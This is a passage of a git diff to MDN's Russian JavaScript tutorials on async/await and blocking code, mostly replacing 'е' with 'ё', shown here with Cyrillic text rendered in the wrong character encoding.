ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΈ всС это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ синхронный ΡΡ‚ΠΈΠ»ΡŒ. ΠžΠΏΡΡ‚ΡŒ, вСрнСмся ΠΊ <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, рассмотрСнному Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅</a>. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² сосСднСй Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ.</p>
+<p>Как Π²Ρ‹ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, асинхронныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ построСны ΠΏΠΎΠ²Π΅Ρ€Ρ…Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a>, поэтому ΠΎΠ½ΠΈ совмСстимы со всСми возмоТностями послСдних. ΠœΡ‹ Π»Π΅Π³ΠΊΠΎ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code>, ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΈ всС это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ синхронный ΡΡ‚ΠΈΠ»ΡŒ. ΠžΠΏΡΡ‚ΡŒ, вСрнёмся ΠΊ <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, рассмотрСнному Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅</a>. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² сосСднСй Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ.</p>
<p>ВСрсия с async/await (смотритС <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html">live demo</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html">source code</a>), сСйчас выглядит Ρ‚Π°ΠΊ:</p>
@@ -284,9 +284,9 @@ displayContent()
<pre class="brush: js notranslate">let values = await Promise.all([coffee, tea, description]);</pre>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>await</code>Β ΠΌΡ‹ ΠΆΠ΄Π΅ΠΌ массив Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ²Β Π²ΡΠ΅Ρ… Ρ‚Ρ€Π΅Ρ… Promises ΠΈ присваиваСм Π΅Π³ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>values</code>. Π­Ρ‚ΠΎ асинхронный ΠΊΠΎΠ΄, Π½ΠΎ ΠΎΠ½ написан Π² синхронном стилС, Π·Π° счСт Ρ‡Π΅Π³ΠΎ ΠΎΠ½ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Π΅Π΅.<br>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>await</code>Β ΠΌΡ‹ ΠΆΠ΄Ρ‘ΠΌ массив Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ²Β Π²ΡΠ΅Ρ… Ρ‚Ρ€Ρ‘Ρ… Promises ΠΈ присваиваСм Π΅Π³ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>values</code>. Π­Ρ‚ΠΎ асинхронный ΠΊΠΎΠ΄, Π½ΠΎ ΠΎΠ½ написан Π² синхронном стилС, Π·Π° счёт Ρ‡Π΅Π³ΠΎ ΠΎΠ½ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Π΅Π΅.<br>
<br>
- ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ вСсь ΠΊΠΎΠ΄ Π² ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, <code>displayContent()</code>, ΠΈ ΠΌΡ‹ Π½Π΅ сильно сэкономили Π½Π° количСствС ΠΊΠΎΠ΄Π°, Π½ΠΎ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ»ΠΈ ΠΊΠΎΠ΄ Π±Π»ΠΎΠΊΠ°Β <code>.then()</code>, Π·Π° счСт Ρ‡Π΅Π³ΠΎ наш ΠΊΠΎΠ΄ стал Π³ΠΎΡ€Π°Π·Π΄ΠΎ Ρ‡ΠΈΡ‰Π΅.</p>
+ ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ вСсь ΠΊΠΎΠ΄ Π² ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, <code>displayContent()</code>, ΠΈ ΠΌΡ‹ Π½Π΅ сильно сэкономили Π½Π° количСствС ΠΊΠΎΠ΄Π°, Π½ΠΎ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ»ΠΈ ΠΊΠΎΠ΄ Π±Π»ΠΎΠΊΠ°Β <code>.then()</code>, Π·Π° счёт Ρ‡Π΅Π³ΠΎ наш ΠΊΠΎΠ΄ стал Π³ΠΎΡ€Π°Π·Π΄ΠΎ Ρ‡ΠΈΡ‰Π΅.</p>
<p>Для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π±Π»ΠΎΠΊΒ <code>.catch()</code> для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>displayContent()</code>; Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΎ Π½Π°ΠΌ ΠΎΡ‚Π»ΠΎΠ²ΠΈΡ‚ΡŒ ошибки Π² ΠΎΠ±ΠΎΠΈΡ… функциях.</p>
@@ -300,7 +300,7 @@ displayContent()
<p>Async/await позволяСт Π²Π°ΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π² синхронном стилС. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>await</code> Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ приостанавливаСт Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ptomise-based Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°, ΠΏΠΎΠΊΠ° promise ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ статус fulfilled. Π­Ρ‚ΠΎ Π½Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠΎΠ΄ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ вашСй асинхронной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ асинхронной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΡ‚ΠΎΠΊ выполнСния блокируСтся.<br>
<br>
- Π’Π°Ρˆ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅ Π·Π° счСт большого количСства awaited promises, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ ΠΎΠ΄ΠΈΠ½ Π·Π° Π΄Ρ€ΡƒΠ³ΠΈΠΌ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉΒ <code>await</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ выполнСния ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π½Π° самом Π΄Π΅Π»Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ наши Promises Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡŒ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΌΡ‹ Π½Π΅ использовали async/await.<br>
+ Π’Π°Ρˆ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅ Π·Π° счёт большого количСства awaited promises, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ ΠΎΠ΄ΠΈΠ½ Π·Π° Π΄Ρ€ΡƒΠ³ΠΈΠΌ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉΒ <code>await</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ выполнСния ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π½Π° самом Π΄Π΅Π»Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ наши Promises Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡŒ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΌΡ‹ Π½Π΅ использовали async/await.<br>
<br>
Π•ΡΡ‚ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΎΠ±ΠΎΠΉΡ‚ΠΈ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ - ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ всС Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠ΅ΡΡ Promises Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, Π° ΡƒΠΆΠ΅ послС этого Π΄ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒΡΡΒ (awaiting) ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².</p>
@@ -339,7 +339,7 @@ timeTest().then(() =&gt; {
await timeoutPromise(3000);
}</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ просто ΠΆΠ΄Π΅ΠΌ всС Ρ‚Ρ€ΠΈΒ  <code>timeoutPromise()</code> Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, блокируя Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° Π½Π° 3 сСкунды ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅. ВсС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π²Ρ‹Π½ΡƒΠΆΠ΄Π΅Π½Ρ‹ ΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΠΎΠΊΠ° Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ. Если Π²Ρ‹ запуститС ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (<code>slow-async-await.html</code>) Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ alert ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‰ΠΈΠΉ врСмя выполнСния ΠΎΠΊΠΎΠ»ΠΎ 9 сСкунд.Β </p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ просто ΠΆΠ΄Ρ‘ΠΌ всС Ρ‚Ρ€ΠΈΒ  <code>timeoutPromise()</code> Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, блокируя Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° Π½Π° 3 сСкунды ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅. ВсС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π²Ρ‹Π½ΡƒΠΆΠ΄Π΅Π½Ρ‹ ΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΠΎΠΊΠ° Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ. Если Π²Ρ‹ запуститС ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (<code>slow-async-await.html</code>) Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ alert ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‰ΠΈΠΉ врСмя выполнСния ΠΎΠΊΠΎΠ»ΠΎ 9 сСкунд.Β </p>
<p>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΒ  <code>fast-async-await.html</code> ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, функция <code>timeTest()</code> выглядит ΠΊΠ°ΠΊ:</p>
diff --git a/files/ru/learn/javascript/asynchronous/concepts/index.html b/files/ru/learn/javascript/asynchronous/concepts/index.html
index def7da8a78..cd87899ec3 100644
--- a/files/ru/learn/javascript/asynchronous/concepts/index.html
+++ b/files/ru/learn/javascript/asynchronous/concepts/index.html
@@ -29,7 +29,7 @@ translation_of: Learn/JavaScript/Asynchronous/Concepts
<h2 id="Π§Ρ‚ΠΎ_ΠΆΠ΅_Ρ‚Π°ΠΊΠΎΠ΅_ΠΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΠΎΡΡ‚ΡŒ">Π§Ρ‚ΠΎ ΠΆΠ΅ Ρ‚Π°ΠΊΠΎΠ΅ ΠΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΠΎΡΡ‚ΡŒ?</h2>
-<p>Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ выполняСтся ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° конкрСтная опСрация происходит Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Если функция зависит ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° выполнСния Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎ ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠΊΠ° нуТная Π΅ΠΉ функция Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ Π½Π΅ Π²Π΅Ρ€Π½Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΈ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° это Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΏΠΎ сути, Π±ΡƒΠ΄Π΅Ρ‚ остановлСно с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ выполняСтся ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° конкрСтная опСрация происходит Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Если функция зависит ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° выполнСния Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎ ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠΊΠ° нуТная Π΅ΠΉ функция Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ Π½Π΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΈ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° это Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΏΠΎ сути, Π±ΡƒΠ΄Π΅Ρ‚ остановлСно с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
<p>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ соврСмСнного ПК, навСрняка, наблюдал, ΠΊΠ°ΠΊ курсор мСняСт свой Π²ΠΈΠ΄ ΠΈ становится "Ρ€Π°Π·Π½ΠΎΡ†Π²Π΅Ρ‚Π½Ρ‹ΠΌ спинСром" (Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ MacOS). Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ опСрационная систСма сообщаСт - "тСкущая ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΊΠ°ΠΊΠΎΠ³ΠΎ Ρ‚ΠΎ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ процСсса Π² систСмС ΠΈ я Ρ€Π΅ΡˆΠΈΠ»Π° ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Ρ‚Π΅Π±Π΅, Ρ‡Ρ‚ΠΎ Π±Ρ‹ Ρ‚Ρ‹ Π½Π΅ волновался".</p>
@@ -43,7 +43,7 @@ translation_of: Learn/JavaScript/Asynchronous/Concepts
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΊΠ°ΠΆΡƒΡ‚, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚ <strong>Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠ°</strong>.</p>
-<p>Π’ нашСм <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing">simple-sync.html</a> ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">see it running live</a>), Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊΠ½ΠΎΠΏΠΊΠ΅ событиС Π½Π° ΠΊΠ»ΠΈΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π½Π΅Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Π»Π°ΡΡŒ трудоСмкая опСрация (расчСт 10000000 Π΄Π°Ρ‚, ΠΈ Π²Ρ‹Π²ΠΎΠ΄ послСднСй рассчитанной Π΄Π°Ρ‚Ρ‹ Π½Π° консоль) послС Ρ‡Π΅Π³ΠΎ Π² DOM добавляСтся Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„:</p>
+<p>Π’ нашСм <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing">simple-sync.html</a> ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">see it running live</a>), Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊΠ½ΠΎΠΏΠΊΠ΅ событиС Π½Π° ΠΊΠ»ΠΈΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π½Π΅Ρ‘ Π·Π°ΠΏΡƒΡΠΊΠ°Π»Π°ΡΡŒ трудоёмкая опСрация (расчёт 10000000 Π΄Π°Ρ‚, ΠΈ Π²Ρ‹Π²ΠΎΠ΄ послСднСй рассчитанной Π΄Π°Ρ‚Ρ‹ Π½Π° консоль) послС Ρ‡Π΅Π³ΠΎ Π² DOM добавляСтся Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„:</p>
<pre class="brush: js notranslate">const btn = document.querySelector('button');
btn.addEventListener('click', () =&gt; {
@@ -69,7 +69,7 @@ btn.addEventListener('click', () =&gt; {
<p>Π’ нашСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">simple-sync-ui-blocking.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>), ΠΌΡ‹ сдСлаСм Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π±ΠΎΠ»Π΅Π΅ рСалистичноС, с Ρ‡Π΅ΠΌ Π²Ρ‹ смоТСтС ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ страницС. ΠœΡ‹ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅ΠΌ дСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ отрисовкой страницы. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΄Π²Π΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ:</p>
<ul>
- <li>Кнопка "Fill canvas", Ссли Π½Π° Π½Π΅Π΅ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ, рисуСт Π² элСмСнтС
+ <li>Кнопка "Fill canvas", Ссли Π½Π° Π½Π΅Ρ‘ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ, рисуСт Π² элСмСнтС
<div>{{htmlelement("canvas")}}</div>
ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ синих ΠΊΡ€ΡƒΠ³ΠΎΠ².</li>
<li>Кнопка "Click me for alert", ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅.</li>
@@ -90,10 +90,10 @@ alertBtn.addEventListener('click', () =&gt;
alert('You clicked me!')
);</pre>
-<p>Если Π²Ρ‹ быстро Π½Π°ΠΆΠΌΠ΅Ρ‚Π΅ Π½Π° ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈ Π·Π°Ρ‚Π΅ΠΌ быстро ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° Π²Ρ‚ΠΎΡ€ΡƒΡŽ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½Π΅ появится Π½Π° страницС, ΠΏΠΎΠΊΠ° всС ΠΊΡ€ΡƒΠ³ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ отрисованы. ΠŸΠ΅Ρ€Π²Π°Ρ опСрация Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ сама.</p>
